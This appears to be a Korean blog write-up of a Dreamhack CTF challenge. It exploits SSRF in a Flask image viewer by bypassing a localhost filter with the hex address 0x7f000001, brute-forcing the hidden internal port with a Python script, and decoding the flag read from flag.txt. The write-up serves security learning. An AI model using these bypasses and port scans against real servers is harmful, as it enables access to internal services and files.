

이번 문제는 ssrf 취약점을 이용하는 것 같다
flag는 /app/flag.txt에 위치하는데 인지해야한다
문제 코드
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
문제코드를 보면 생각보다 단순하게 되어있다
/img_viewer 루트를 보면
url 객체에 있는 값을 가져와 urlparse로 http//netloc:111을 검사하는데
netloc부분이 localhost, 127.0.0.1인지 확인한다
이가 아니라면 try 부분을 진행하는데
이는 입력받은 값을 인코딩하고 이후 html로 랜더링하는 작업을 거친다
그렇다면 랜더링을 하는 값에 flag.txt루트를 추가해준다면
인코딩된 flag이미지를 얻을 수 있을것이다
주의해야할 점은 local_sever 부분을 확인하면
포트를 랜덤값으로 1500~1800값을 사용하는것을 알 수 있는데
이는 반복문으로 포트값을 알아내야 할것 같다
결론은
서버를 작동하는데 있는 포트는 상관이 없지만
localhost를 사용하는데 사용되는 포트값은 랜덤으로 결정된다는 것이다
그렇다면 flag를 얻기위해 localhost우회, error.png를 실행하지 않는 포트 확인,
포트를 이용해 직접입력 flag 획득 순으로 진행하면 될것이다
error.png 확인
우선 localhost를 우회하는 방법을 사용할건데
localhost값을 16진수로 변환하는 방식을 사용할 것이다
http://0x7f000001 이를 사용할 것이다
http://0x7f000001:1715/flag.txt 입력

source 탭으로 html값 확인

iVB값을 가지고 있는것을 확인할 수 있다
payload
import requests
url = 'http://host3.dreamhack.games:10813/img_viewer'
fail = 'iVB'
for i in range (1500,1801):
target = f"http://0x7f000001:{i}"
data = {
"url": target,
}
response = requests.post(url, data=data)
if fail not in response.text:
print(f'port number ::: {i}')
break
url 객체 data를 사용하는 이유는 문제 코드의 url 객체의 값을 가져오기 때문이다
requests의 결과의 .text를 사용하면 html을 불러오는데
이때 오류가 난다면 iVB값을 html내에 포함하기 때문에
포함하지 않을때의 포트값을 출력했다
결과

1715 포트 확인
사이트에 값 입력
http://0x7f000001:1715/flag.txt

이미지가 뭔가 이상해서 source 탭으로 확인

서버측 코드에서 이미지를 인코딩 했기 때문에
이를 디코딩 해주어야 한다
파이썬으로 한번 만들어보고 싶어 만들어봤다
import base64
data = "REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"
print((base64.b64decode(data)).decode('utf-8'))
결과

flag 획득 성공
풀이 실패 과정
1. 문제 코드를 제대로 보지 않아서
/img_viewer/flag.txt값만 넣어도 0번 값이 /일때 localhost값을
서버측에서 넣어줘서 우회가 필요없다고 생각했었다
2. render_template로 경로를 넣어줬을 때 flag를 어떻게 출력하는 건지
이해가 잘 안갔었다
'웹해킹' 카테고리의 다른 글
| [드림핵] blind-command 풀이 (0) | 2024.11.02 |
|---|---|
| [드림핵] Carve Party 풀이 (0) | 2024.11.02 |
| [드림핵] command-injection-1 풀이 (0) | 2024.10.10 |
| [드림핵] Mango 풀이 (0) | 2024.10.10 |
| [드림핵] simple_sqli 풀이 (1) | 2024.10.09 |